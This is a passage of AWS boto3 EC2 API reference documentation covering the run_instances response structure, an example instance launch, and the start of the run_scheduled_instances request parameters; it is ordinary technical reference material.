d.12xlarge'|'m5d.16xlarge'|'m5d.24xlarge'|'m5d.metal'|'m5ad.large'|'m5ad.xlarge'|'m5ad.2xlarge'|'m5ad.4xlarge'|'m5ad.8xlarge'|'m5ad.12xlarge'|'m5ad.16xlarge'|'m5ad.24xlarge'|'m5zn.large'|'m5zn.xlarge'|'m5zn.2xlarge'|'m5zn.3xlarge'|'m5zn.6xlarge'|'m5zn.12xlarge'|'m5zn.metal'|'h1.2xlarge'|'h1.4xlarge'|'h1.8xlarge'|'h1.16xlarge'|'z1d.large'|'z1d.xlarge'|'z1d.2xlarge'|'z1d.3xlarge'|'z1d.6xlarge'|'z1d.12xlarge'|'z1d.metal'|'u-6tb1.metal'|'u-9tb1.metal'|'u-12tb1.metal'|'u-18tb1.metal'|'u-24tb1.metal'|'a1.medium'|'a1.large'|'a1.xlarge'|'a1.2xlarge'|'a1.4xlarge'|'a1.metal'|'m5dn.large'|'m5dn.xlarge'|'m5dn.2xlarge'|'m5dn.4xlarge'|'m5dn.8xlarge'|'m5dn.12xlarge'|'m5dn.16xlarge'|'m5dn.24xlarge'|'m5n.large'|'m5n.xlarge'|'m5n.2xlarge'|'m5n.4xlarge'|'m5n.8xlarge'|'m5n.12xlarge'|'m5n.16xlarge'|'m5n.24xlarge'|'r5dn.large'|'r5dn.xlarge'|'r5dn.2xlarge'|'r5dn.4xlarge'|'r5dn.8xlarge'|'r5dn.12xlarge'|'r5dn.16xlarge'|'r5dn.24xlarge'|'r5n.large'|'r5n.xlarge'|'r5n.2xlarge'|'r5n.4xlarge'|'r5n.8xlarge'|'r5n.12xlarge'|'r5n.16xlarge'|'r5n.24xlarge'|'inf1.xlarge'|'inf1.2xlarge'|'inf1.6xlarge'|'inf1.24xlarge'|'m6g.metal'|'m6g.medium'|'m6g.large'|'m6g.xlarge'|'m6g.2xlarge'|'m6g.4xlarge'|'m6g.8xlarge'|'m6g.12xlarge'|'m6g.16xlarge'|'m6gd.metal'|'m6gd.medium'|'m6gd.large'|'m6gd.xlarge'|'m6gd.2xlarge'|'m6gd.4xlarge'|'m6gd.8xlarge'|'m6gd.12xlarge'|'m6gd.16xlarge'|'mac1.metal', + 'KernelId': 'string', + 'KeyName': 'string', + 'LaunchTime': datetime(2015, 1, 1), + 'Monitoring': { + 'State': 'disabled'|'disabling'|'enabled'|'pending' + }, + 'Placement': { + 'AvailabilityZone': 'string', + 'Affinity': 'string', + 'GroupName': 'string', + 'PartitionNumber': 123, + 'HostId': 'string', + 'Tenancy': 'default'|'dedicated'|'host', + 'SpreadDomain': 'string', + 'HostResourceGroupArn': 'string' + }, + 'Platform': 'Windows', + 'PrivateDnsName': 'string', + 'PrivateIpAddress': 'string', + 'ProductCodes': \[ + { + 'ProductCodeId': 'string', + 'ProductCodeType': 'devpay'|'marketplace' + }, + \], + 'PublicDnsName': 'string', + 'PublicIpAddress': 'string', + 'RamdiskId': 'string', + 'State': { + 'Code': 123, + 'Name': 'pending'|'running'|'shutting-down'|'terminated'|'stopping'|'stopped' + }, + 'StateTransitionReason': 'string', + 'SubnetId': 'string', + 'VpcId': 'string', + 'Architecture': 'i386'|'x86\_64'|'arm64', + 'BlockDeviceMappings': \[ + { + 'DeviceName': 'string', + 'Ebs': { + 'AttachTime': datetime(2015, 1, 1), + 'DeleteOnTermination': True|False, + 'Status': 'attaching'|'attached'|'detaching'|'detached', + 'VolumeId': 'string' + } + }, + \], + 'ClientToken': 'string', + 'EbsOptimized': True|False, + 'EnaSupport': True|False, + 'Hypervisor': 'ovm'|'xen', + 'IamInstanceProfile': { + 'Arn': 'string', + 'Id': 'string' + }, + 'InstanceLifecycle': 'spot'|'scheduled', + 'ElasticGpuAssociations': \[ + { + 'ElasticGpuId': 'string', + 'ElasticGpuAssociationId': 'string', + 'ElasticGpuAssociationState': 'string', + 'ElasticGpuAssociationTime': 'string' + }, + \], + 'ElasticInferenceAcceleratorAssociations': \[ + { + 'ElasticInferenceAcceleratorArn': 'string', + 'ElasticInferenceAcceleratorAssociationId': 'string', + 'ElasticInferenceAcceleratorAssociationState': 'string', + 'ElasticInferenceAcceleratorAssociationTime': datetime(2015, 1, 1) + }, + \], + 'NetworkInterfaces': \[ + { + 'Association': { + 'CarrierIp': 'string', + 'IpOwnerId': 'string', + 'PublicDnsName': 'string', + 'PublicIp': 'string' + }, + 'Attachment': { + 'AttachTime': datetime(2015, 1, 1), + 'AttachmentId': 'string', + 'DeleteOnTermination': True|False, + 'DeviceIndex': 123, + 'Status': 'attaching'|'attached'|'detaching'|'detached', + 'NetworkCardIndex': 123 + }, + 'Description': 'string', + 'Groups': \[ + { + 'GroupName': 'string', + 'GroupId': 'string' + }, + \], + 'Ipv6Addresses': \[ + { + 'Ipv6Address': 'string' + }, + \], + 'MacAddress': 'string', + 'NetworkInterfaceId': 'string', + 'OwnerId': 'string', + 'PrivateDnsName': 'string', + 'PrivateIpAddress': 'string', + 'PrivateIpAddresses': \[ + { + 'Association': { + 'CarrierIp': 'string', + 'IpOwnerId': 'string', + 'PublicDnsName': 'string', + 'PublicIp': 'string' + }, + 'Primary': True|False, + 'PrivateDnsName': 'string', + 'PrivateIpAddress': 'string' + }, + \], + 'SourceDestCheck': True|False, + 'Status': 'available'|'associated'|'attaching'|'in-use'|'detaching', + 'SubnetId': 'string', + 'VpcId': 'string', + 'InterfaceType': 'string' + }, + \], + 'OutpostArn': 'string', + 'RootDeviceName': 'string', + 'RootDeviceType': 'ebs'|'instance-store', + 'SecurityGroups': \[ + { + 'GroupName': 'string', + 'GroupId': 'string' + }, + \], + 'SourceDestCheck': True|False, + 'SpotInstanceRequestId': 'string', + 'SriovNetSupport': 'string', + 'StateReason': { + 'Code': 'string', + 'Message': 'string' + }, + 'Tags': \[ + { + 'Key': 'string', + 'Value': 'string' + }, + \], + 'VirtualizationType': 'hvm'|'paravirtual', + 'CpuOptions': { + 'CoreCount': 123, + 'ThreadsPerCore': 123 + }, + 'CapacityReservationId': 'string', + 'CapacityReservationSpecification': { + 'CapacityReservationPreference': 'open'|'none', + 'CapacityReservationTarget': { + 'CapacityReservationId': 'string', + 'CapacityReservationResourceGroupArn': 'string' + } + }, + 'HibernationOptions': { + 'Configured': True|False + }, + 'Licenses': \[ + { + 'LicenseConfigurationArn': 'string' + }, + \], + 'MetadataOptions': { + 'State': 'pending'|'applied', + 'HttpTokens': 'optional'|'required', + 'HttpPutResponseHopLimit': 123, + 'HttpEndpoint': 'disabled'|'enabled' + }, + 'EnclaveOptions': { + 'Enabled': True|False + } + }, + \], + 'OwnerId': 'string', + 'RequesterId': 'string', + 'ReservationId': 'string' +} + +**Response Structure** + +* _(dict) --_ + + Describes a launch request for one or more instances, and includes owner, requester, and security group information that applies to all instances in the launch request. + + * **Groups** _(list) --_ + + \[EC2-Classic only\] The security groups. + + * _(dict) --_ + + Describes a security group. + + * **GroupName** _(string) --_ + + The name of the security group. + + * **GroupId** _(string) --_ + + The ID of the security group. + + * **Instances** _(list) --_ + + The instances. + + * _(dict) --_ + + Describes an instance. + + * **AmiLaunchIndex** _(integer) --_ + + The AMI launch index, which can be used to find this instance in the launch group. + + * **ImageId** _(string) --_ + + The ID of the AMI used to launch the instance. + + * **InstanceId** _(string) --_ + + The ID of the instance. + + * **InstanceType** _(string) --_ + + The instance type. + + * **KernelId** _(string) --_ + + The kernel associated with this instance, if applicable. + + * **KeyName** _(string) --_ + + The name of the key pair, if this instance was launched with an associated key pair. + + * **LaunchTime** _(datetime) --_ + + The time the instance was launched. + + * **Monitoring** _(dict) --_ + + The monitoring for the instance. + + * **State** _(string) --_ + + Indicates whether detailed monitoring is enabled. Otherwise, basic monitoring is enabled. + + * **Placement** _(dict) --_ + + The location where the instance launched, if applicable. + + * **AvailabilityZone** _(string) --_ + + The Availability Zone of the instance. + + If not specified, an Availability Zone will be automatically chosen for you based on the load balancing criteria for the Region. + + This parameter is not supported by [CreateFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateFleet) . + + * **Affinity** _(string) --_ + + The affinity setting for the instance on the Dedicated Host. This parameter is not supported for the [ImportInstance](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ImportInstance.html) command. + + This parameter is not supported by [CreateFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateFleet) . + + * **GroupName** _(string) --_ + + The name of the placement group the instance is in. + + * **PartitionNumber** _(integer) --_ + + The number of the partition the instance is in. Valid only if the placement group strategy is set to partition . + + This parameter is not supported by [CreateFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateFleet) . + + * **HostId** _(string) --_ + + The ID of the Dedicated Host on which the instance resides. This parameter is not supported for the [ImportInstance](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ImportInstance.html) command. + + This parameter is not supported by [CreateFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateFleet) . + + * **Tenancy** _(string) --_ + + The tenancy of the instance (if the instance is running in a VPC). An instance with a tenancy of dedicated runs on single-tenant hardware. The host tenancy is not supported for the [ImportInstance](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ImportInstance.html) command. + + This parameter is not supported by [CreateFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateFleet) . + + * **SpreadDomain** _(string) --_ + + Reserved for future use. + + This parameter is not supported by [CreateFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateFleet) . + + * **HostResourceGroupArn** _(string) --_ + + The ARN of the host resource group in which to launch the instances. If you specify a host resource group ARN, omit the **Tenancy** parameter or set it to host . + + This parameter is not supported by [CreateFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateFleet) . + + * **Platform** _(string) --_ + + The value is Windows for Windows instances; otherwise blank. + + * **PrivateDnsName** _(string) --_ + + (IPv4 only) The private DNS hostname name assigned to the instance. This DNS hostname can only be used inside the Amazon EC2 network. This name is not available until the instance enters the running state. + + \[EC2-VPC\] The Amazon-provided DNS server resolves Amazon-provided private DNS hostnames if you've enabled DNS resolution and DNS hostnames in your VPC. If you are not using the Amazon-provided DNS server in your VPC, your custom domain name servers must resolve the hostname as appropriate. + + * **PrivateIpAddress** _(string) --_ + + The private IPv4 address assigned to the instance. + + * **ProductCodes** _(list) --_ + + The product codes attached to this instance, if applicable. + + * _(dict) --_ + + Describes a product code. + + * **ProductCodeId** _(string) --_ + + The product code. + + * **ProductCodeType** _(string) --_ + + The type of product code. + + * **PublicDnsName** _(string) --_ + + (IPv4 only) The public DNS name assigned to the instance. This name is not available until the instance enters the running state. For EC2-VPC, this name is only available if you've enabled DNS hostnames for your VPC. + + * **PublicIpAddress** _(string) --_ + + The public IPv4 address, or the Carrier IP address assigned to the instance, if applicable. + + A Carrier IP address only applies to an instance launched in a subnet associated with a Wavelength Zone. + + * **RamdiskId** _(string) --_ + + The RAM disk associated with this instance, if applicable. + + * **State** _(dict) --_ + + The current state of the instance. + + * **Code** _(integer) --_ + + The state of the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and (2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + * 0 : pending + * 16 : running + * 32 : shutting-down + * 48 : terminated + * 64 : stopping + * 80 : stopped + + You can ignore the high byte value by zeroing out all of the bits above 2^8 or 256 in decimal. + + * **Name** _(string) --_ + + The current state of the instance. + + * **StateTransitionReason** _(string) --_ + + The reason for the most recent state transition. This might be an empty string. + + * **SubnetId** _(string) --_ + + \[EC2-VPC\] The ID of the subnet in which the instance is running. + + * **VpcId** _(string) --_ + + \[EC2-VPC\] The ID of the VPC in which the instance is running. + + * **Architecture** _(string) --_ + + The architecture of the image. + + * **BlockDeviceMappings** _(list) --_ + + Any block device mapping entries for the instance. + + * _(dict) --_ + + Describes a block device mapping. + + * **DeviceName** _(string) --_ + + The device name (for example, /dev/sdh or xvdh ). + + * **Ebs** _(dict) --_ + + Parameters used to automatically set up EBS volumes when the instance is launched. + + * **AttachTime** _(datetime) --_ + + The time stamp when the attachment initiated. + + * **DeleteOnTermination** _(boolean) --_ + + Indicates whether the volume is deleted on instance termination. + + * **Status** _(string) --_ + + The attachment state. + + * **VolumeId** _(string) --_ + + The ID of the EBS volume. + + * **ClientToken** _(string) --_ + + The idempotency token you provided when you launched the instance, if applicable. + + * **EbsOptimized** _(boolean) --_ + + Indicates whether the instance is optimized for Amazon EBS I/O. This optimization provides dedicated throughput to Amazon EBS and an optimized configuration stack to provide optimal I/O performance. This optimization isn't available with all instance types. Additional usage charges apply when using an EBS Optimized instance. + + * **EnaSupport** _(boolean) --_ + + Specifies whether enhanced networking with ENA is enabled. + + * **Hypervisor** _(string) --_ + + The hypervisor type of the instance. The value xen is used for both Xen and Nitro hypervisors. + + * **IamInstanceProfile** _(dict) --_ + + The IAM instance profile associated with the instance, if applicable. + + * **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the instance profile. + + * **Id** _(string) --_ + + The ID of the instance profile. + + * **InstanceLifecycle** _(string) --_ + + Indicates whether this is a Spot Instance or a Scheduled Instance. + + * **ElasticGpuAssociations** _(list) --_ + + The Elastic GPU associated with the instance. + + * _(dict) --_ + + Describes the association between an instance and an Elastic Graphics accelerator. + + * **ElasticGpuId** _(string) --_ + + The ID of the Elastic Graphics accelerator. + + * **ElasticGpuAssociationId** _(string) --_ + + The ID of the association. + + * **ElasticGpuAssociationState** _(string) --_ + + The state of the association between the instance and the Elastic Graphics accelerator. + + * **ElasticGpuAssociationTime** _(string) --_ + + The time the Elastic Graphics accelerator was associated with the instance. + + * **ElasticInferenceAcceleratorAssociations** _(list) --_ + + The elastic inference accelerator associated with the instance. + + * _(dict) --_ + + Describes the association between an instance and an elastic inference accelerator. + + * **ElasticInferenceAcceleratorArn** _(string) --_ + + The Amazon Resource Name (ARN) of the elastic inference accelerator. + + * **ElasticInferenceAcceleratorAssociationId** _(string) --_ + + The ID of the association. + + * **ElasticInferenceAcceleratorAssociationState** _(string) --_ + + The state of the elastic inference accelerator. + + * **ElasticInferenceAcceleratorAssociationTime** _(datetime) --_ + + The time at which the elastic inference accelerator is associated with an instance. + + * **NetworkInterfaces** _(list) --_ + + \[EC2-VPC\] The network interfaces for the instance. + + * _(dict) --_ + + Describes a network interface. + + * **Association** _(dict) --_ + + The association information for an Elastic IPv4 associated with the network interface. + + * **CarrierIp** _(string) --_ + + The carrier IP address associated with the network interface. + + * **IpOwnerId** _(string) --_ + + The ID of the owner of the Elastic IP address. + + * **PublicDnsName** _(string) --_ + + The public DNS name. + + * **PublicIp** _(string) --_ + + The public IP address or Elastic IP address bound to the network interface. + + * **Attachment** _(dict) --_ + + The network interface attachment. + + * **AttachTime** _(datetime) --_ + + The time stamp when the attachment initiated. + + * **AttachmentId** _(string) --_ + + The ID of the network interface attachment. + + * **DeleteOnTermination** _(boolean) --_ + + Indicates whether the network interface is deleted when the instance is terminated. + + * **DeviceIndex** _(integer) --_ + + The index of the device on the instance for the network interface attachment. + + * **Status** _(string) --_ + + The attachment state. + + * **NetworkCardIndex** _(integer) --_ + + The index of the network card. + + * **Description** _(string) --_ + + The description. + + * **Groups** _(list) --_ + + One or more security groups. + + * _(dict) --_ + + Describes a security group. + + * **GroupName** _(string) --_ + + The name of the security group. + + * **GroupId** _(string) --_ + + The ID of the security group. + + * **Ipv6Addresses** _(list) --_ + + One or more IPv6 addresses associated with the network interface. + + * _(dict) --_ + + Describes an IPv6 address. + + * **Ipv6Address** _(string) --_ + + The IPv6 address. + + * **MacAddress** _(string) --_ + + The MAC address. + + * **NetworkInterfaceId** _(string) --_ + + The ID of the network interface. + + * **OwnerId** _(string) --_ + + The ID of the AWS account that created the network interface. + + * **PrivateDnsName** _(string) --_ + + The private DNS name. + + * **PrivateIpAddress** _(string) --_ + + The IPv4 address of the network interface within the subnet. + + * **PrivateIpAddresses** _(list) --_ + + One or more private IPv4 addresses associated with the network interface. + + * _(dict) --_ + + Describes a private IPv4 address. + + * **Association** _(dict) --_ + + The association information for an Elastic IP address for the network interface. + + * **CarrierIp** _(string) --_ + + The carrier IP address associated with the network interface. + + * **IpOwnerId** _(string) --_ + + The ID of the owner of the Elastic IP address. + + * **PublicDnsName** _(string) --_ + + The public DNS name. + + * **PublicIp** _(string) --_ + + The public IP address or Elastic IP address bound to the network interface. + + * **Primary** _(boolean) --_ + + Indicates whether this IPv4 address is the primary private IP address of the network interface. + + * **PrivateDnsName** _(string) --_ + + The private IPv4 DNS name. + + * **PrivateIpAddress** _(string) --_ + + The private IPv4 address of the network interface. + + * **SourceDestCheck** _(boolean) --_ + + Indicates whether to validate network traffic to or from this network interface. + + * **Status** _(string) --_ + + The status of the network interface. + + * **SubnetId** _(string) --_ + + The ID of the subnet. + + * **VpcId** _(string) --_ + + The ID of the VPC. + + * **InterfaceType** _(string) --_ + + Describes the type of network interface. + + Valid values: interface | efa + + * **OutpostArn** _(string) --_ + + The Amazon Resource Name (ARN) of the Outpost. + + * **RootDeviceName** _(string) --_ + + The device name of the root device volume (for example, /dev/sda1 ). + + * **RootDeviceType** _(string) --_ + + The root device type used by the AMI. The AMI can use an EBS volume or an instance store volume. + + * **SecurityGroups** _(list) --_ + + The security groups for the instance. + + * _(dict) --_ + + Describes a security group. + + * **GroupName** _(string) --_ + + The name of the security group. + + * **GroupId** _(string) --_ + + The ID of the security group. + + * **SourceDestCheck** _(boolean) --_ + + Specifies whether to enable an instance launched in a VPC to perform NAT. This controls whether source/destination checking is enabled on the instance. A value of true means that checking is enabled, and false means that checking is disabled. The value must be false for the instance to perform NAT. For more information, see [NAT Instances](https://docs.aws.amazon.com/AmazonVPC/latest/UserGuide/VPC_NAT_Instance.html) in the _Amazon Virtual Private Cloud User Guide_ . + + * **SpotInstanceRequestId** _(string) --_ + + If the request is a Spot Instance request, the ID of the request. + + * **SriovNetSupport** _(string) --_ + + Specifies whether enhanced networking with the Intel 82599 Virtual Function interface is enabled. + + * **StateReason** _(dict) --_ + + The reason for the most recent state transition. + + * **Code** _(string) --_ + + The reason code for the state change. + + * **Message** _(string) --_ + + The message for the state change. + + * Server.InsufficientInstanceCapacity : There was insufficient capacity available to satisfy the launch request. + * Server.InternalError : An internal error caused the instance to terminate during launch. + * Server.ScheduledStop : The instance was stopped due to a scheduled retirement. + * Server.SpotInstanceShutdown : The instance was stopped because the number of Spot requests with a maximum price equal to or higher than the Spot price exceeded available capacity or because of an increase in the Spot price. + * Server.SpotInstanceTermination : The instance was terminated because the number of Spot requests with a maximum price equal to or higher than the Spot price exceeded available capacity or because of an increase in the Spot price. + * Client.InstanceInitiatedShutdown : The instance was shut down using the shutdown \-h command from the instance. + * Client.InstanceTerminated : The instance was terminated or rebooted during AMI creation. + * Client.InternalError : A client error caused the instance to terminate during launch. + * Client.InvalidSnapshot.NotFound : The specified snapshot was not found. + * Client.UserInitiatedHibernate : Hibernation was initiated on the instance. + * Client.UserInitiatedShutdown : The instance was shut down using the Amazon EC2 API. + * Client.VolumeLimitExceeded : The limit on the number of EBS volumes or total storage was exceeded. Decrease usage or request an increase in your account limits. + * **Tags** _(list) --_ + + Any tags assigned to the instance. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + * **VirtualizationType** _(string) --_ + + The virtualization type of the instance. + + * **CpuOptions** _(dict) --_ + + The CPU options for the instance. + + * **CoreCount** _(integer) --_ + + The number of CPU cores for the instance. + + * **ThreadsPerCore** _(integer) --_ + + The number of threads per CPU core. + + * **CapacityReservationId** _(string) --_ + + The ID of the Capacity Reservation. + + * **CapacityReservationSpecification** _(dict) --_ + + Information about the Capacity Reservation targeting option. + + * **CapacityReservationPreference** _(string) --_ + + Describes the instance's Capacity Reservation preferences. Possible preferences include: + + * open - The instance can run in any open Capacity Reservation that has matching attributes (instance type, platform, Availability Zone). + * none - The instance avoids running in a Capacity Reservation even if one is available. The instance runs in On-Demand capacity. + * **CapacityReservationTarget** _(dict) --_ + + Information about the targeted Capacity Reservation or Capacity Reservation group. + + * **CapacityReservationId** _(string) --_ + + The ID of the targeted Capacity Reservation. + + * **CapacityReservationResourceGroupArn** _(string) --_ + + The ARN of the targeted Capacity Reservation group. + + * **HibernationOptions** _(dict) --_ + + Indicates whether the instance is enabled for hibernation. + + * **Configured** _(boolean) --_ + + If this parameter is set to true , your instance is enabled for hibernation; otherwise, it is not enabled for hibernation. + + * **Licenses** _(list) --_ + + The license configurations. + + * _(dict) --_ + + Describes a license configuration. + + * **LicenseConfigurationArn** _(string) --_ + + The Amazon Resource Name (ARN) of the license configuration. + + * **MetadataOptions** _(dict) --_ + + The metadata options for the instance. + + * **State** _(string) --_ + + The state of the metadata option changes. + + > pending - The metadata options are being updated and the instance is not ready to process metadata traffic with the new selection. + > + > applied - The metadata options have been successfully applied on the instance. + + * **HttpTokens** _(string) --_ + + The state of token usage for your instance metadata requests. If the parameter is not specified in the request, the default state is optional . + + If the state is optional , you can choose to retrieve instance metadata with or without a signed token header on your request. If you retrieve the IAM role credentials without a token, the version 1.0 role credentials are returned. If you retrieve the IAM role credentials using a valid signed token, the version 2.0 role credentials are returned. + + If the state is required , you must send a signed token header with any instance metadata retrieval requests. In this state, retrieving the IAM role credential always returns the version 2.0 credentials; the version 1.0 credentials are not available. + + * **HttpPutResponseHopLimit** _(integer) --_ + + The desired HTTP PUT response hop limit for instance metadata requests. The larger the number, the further instance metadata requests can travel. + + Default: 1 + + Possible values: Integers from 1 to 64 + + * **HttpEndpoint** _(string) --_ + + This parameter enables or disables the HTTP metadata endpoint on your instances. If the parameter is not specified, the default state is enabled . + + Note + + If you specify a value of disabled , you will not be able to access your instance metadata. + + * **EnclaveOptions** _(dict) --_ + + Indicates whether the instance is enabled for AWS Nitro Enclaves. + + * **Enabled** _(boolean) --_ + + If this parameter is set to true , the instance is enabled for AWS Nitro Enclaves; otherwise, it is not enabled for AWS Nitro Enclaves. + + * **OwnerId** _(string) --_ + + The ID of the AWS account that owns the reservation. + + * **RequesterId** _(string) --_ + + The ID of the requester that launched the instances on your behalf (for example, AWS Management Console or Auto Scaling). + + * **ReservationId** _(string) --_ + + The ID of the reservation. + + +**Examples** + +This example launches an instance using the specified AMI, instance type, security group, subnet, block device mapping, and tags. + +response \= client.run\_instances( + BlockDeviceMappings\=\[ + { + 'DeviceName': '/dev/sdh', + 'Ebs': { + 'VolumeSize': 100, + }, + }, + \], + ImageId\='ami-abc12345', + InstanceType\='t2.micro', + KeyName\='my-key-pair', + MaxCount\=1, + MinCount\=1, + SecurityGroupIds\=\[ + 'sg-1a2b3c4d', + \], + SubnetId\='subnet-6e7f829e', + TagSpecifications\=\[ + { + 'ResourceType': 'instance', + 'Tags': \[ + { + 'Key': 'Purpose', + 'Value': 'test', + }, + \], + }, + \], +) + +print(response) + +Expected Output: + +{ + 'ResponseMetadata': { + '...': '...', + }, +} + +run\_scheduled\_instances(_\*\*kwargs_) + +Launches the specified Scheduled Instances. + +Before you can launch a Scheduled Instance, you must purchase it and obtain an identifier using PurchaseScheduledInstances . + +You must launch a Scheduled Instance during its scheduled time period. You can't stop or reboot a Scheduled Instance, but you can terminate it as needed. If you terminate a Scheduled Instance before the current scheduled time period ends, you can launch it again after a few minutes. For more information, see [Scheduled Instances](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-scheduled-instances.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/RunScheduledInstances) + +**Request Syntax** + +response \= client.run\_scheduled\_instances( + ClientToken\='string', + DryRun\=True|False, + InstanceCount\=123, + LaunchSpecification\={ + 'BlockDeviceMappings': \[ + { + 'DeviceName': 'string', + 'Ebs': { + 'DeleteOnTermination': True|False, + 'Encrypted': True|False, + 'Iops': 123, + 'SnapshotId': 'string', + 'VolumeSize': 123, + 'VolumeType': 'string' + }, + 'NoDevice': 'string', + 'VirtualName': 'string' + }, + \], + 'EbsOptimized': True|False, + 'IamInstanceProfile': { + 'Arn': 'string', + 'Name': 'string' + }, + 'ImageId': 'string', + 'InstanceType': 'string', + 'KernelId': 'string', + 'KeyName': 'string', + 'Monitoring': { + 'Enabled': True|False + }, + 'NetworkInterfaces': \[ + { + 'AssociatePublicIpAddress': True|False, + 'DeleteOnTermination': True|False, + 'Description': 'string', + 'DeviceIndex': 123, + 'Groups': \[ + 'string', + \], + 'Ipv6AddressCount': 123, + 'Ipv6Addresses': \[ + { + 'Ipv6Address': 'string' + }, + \], + 'NetworkInterfaceId': 'string', + 'PrivateIpAddress': 'string', + 'PrivateIpAddressConfigs': \[ + { + 'Primary': True|False, + 'PrivateIpAddress': 'string' + }, + \], + 'SecondaryPrivateIpAddressCount': 123, + 'SubnetId': 'string' + }, + \], + 'Placement': { + 'AvailabilityZone': 'string', + 'GroupName': 'string' + }, + 'RamdiskId': 'string', + 'SecurityGroupIds': \[ + 'string', + \], + 'SubnetId': 'string', + 'UserData': 'string' + }, + ScheduledInstanceId\='string' +) + +Parameters + +* **ClientToken** (_string_) -- + + Unique, case-sensitive identifier that ensures the idempotency of the request. For more information, see [Ensuring Idempotency](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/Run_Instance_Idempotency.html) . + + This field is autopopulated if not provided. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **InstanceCount** (_integer_) -- + + The number of instances. + + Default: 1 + +* **LaunchSpecification** (_dict_) -- + + **\[REQUIRED\]** + + The launch specification. You must match the instance type, Availability Zone, network, and platform of the schedule that you purchased. + + * **BlockDeviceMappings** _(list) --_ + + The block device mapping entries. + + * _(dict) --_ + + Describes a block device mapping for a Scheduled Instance. + + * **DeviceName** _(string) --_ + + The device name (for example, /dev/sdh or xvdh ). + + * **Ebs** _(dict) --_ + + Parameters used to set up EBS volumes automatically when the instance is launched. + + * **DeleteOnTermination** _(boolean) --_ + + Indicates whether the volume is deleted on instance termination. + + * **Encrypted** _(boolean) --_ + + Indicates whether the volume is encrypted. You can attached encrypted volumes only to instances that support them. + + * **Iops** _(integer) --_ + + The number of I/O operations per second (IOPS) to provision for an io1 or io2 volume, with a maximum ratio of 50 IOPS/GiB for io1 , and 500 IOPS/GiB for io2 . Range is 100 to 64,000 IOPS for volumes in most Regions. Maximum IOPS of 64,000 is guaranteed only on [Nitro-based instances](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-types.html#ec2-nitro-instances) . Other instance families guarantee performance up to 32,000 IOPS. For more information, see [Amazon EBS Volume Types](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSVolumeTypes.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + This parameter is valid only for Provisioned IOPS SSD (io1 and io2 ) volumes. + + * **SnapshotId** _(string) --_ + + The ID of the snapshot. + + * **VolumeSize** _(integer) --_ + + The size of the volume, in GiB. + + Default: If you're creating the volume from a snapshot and don't specify a volume size, the default is the snapshot size. + + * **VolumeType** _(string) --_ + + The volume type. gp2 for General Purpose SSD, io1 or io2 for Provisioned IOPS SSD, Throughput Optimized HDD for st1 , Cold HDD for sc1 , or standard for Magnetic. + + Default: gp2 + + * **NoDevice** _(string) --_ + + Suppresses the specified device included in the block device mapping of the AMI. + + * **VirtualName** _(string) --_ + + The virtual device name (ephemeral N). Instance store volumes are numbered starting from 0. An instance type with two available instance store volumes can specify mappings for ephemeral0 and ephemeral1 . The number of available instance store volumes depends on the instance type. After you connect to the instance, you must mount the volume. + + Constraints: For M3 instances, you must specify instance store volumes in the block device mapping for the instance. When you launch an M3 instance, we ignore any instance store volumes specified in the block device mapping for the AMI. + + * **EbsOptimized** _(boolean) --_ + + Indicates whether the instances are optimized for EBS I/O. This optimization provides dedicated throughput to Amazon EBS and an optimized configuration stack to provide optimal EBS I/O performance. This optimization isn't available with all instance types. Additional usage charges apply when using an EBS-optimized instance. + + Default: false + + * **IamInstanceProfile** _(dict) --_ + + The IAM instance profile. + + * **Arn** _(string) --_ + + The Amazon Resource Name (ARN). + + * **Name** _(string) --_ + + The name. + + * **ImageId** _(string) --_ **\[REQUIRED\]** + + The ID of the Amazon Machine Image (AMI). + + * **InstanceType** _(string) --_ + + The instance type. + + * **KernelId** _(string) --_ + + The ID of the kernel. + + * **KeyName** _(string) --_ + + The name of the key pair. + + * **Monitoring** _(dict) --_ + + Enable or disable monitoring for the instances. + + * **Enabled** _(boolean) --_ + + Indicates whether monitoring is enabled. + + * **NetworkInterfaces** _(list) --_ + + The network interfaces. + + * _(dict) --_ + + Describes a network interface for a Scheduled Instance. + + * **AssociatePublicIpAddress** _(boolean) --_ + + Indicates whether to assign a public IPv4 address to instances launched in a VPC. The public IPv4 address can only be assigned to a network interface for eth0, and can only be assigned to a new network interface, not an existing one. You cannot specify more than one network interface in the request. If launching into a default subnet, the default value is true . + + * **DeleteOnTermination** _(boolean) --_ + + Indicates whether to delete the interface when the instance is terminated. + + * **Description** _(string) --_ + + The description. + + * **DeviceIndex** _(integer) --_ + + The index of the device for the network interface attachment. + + * **Groups** _(list) --_ + + The IDs of the security groups. + + * _(string) --_ + * **Ipv6AddressCount** _(integer) --_ + + The number of IPv6 addresses to assign to the network interface. The IPv6 addresses are automatically selected from the subnet range. + + * **Ipv6Addresses** _(list) --_ + + The specific IPv6 addresses from the subnet range. + + * _(dict) --_ + + 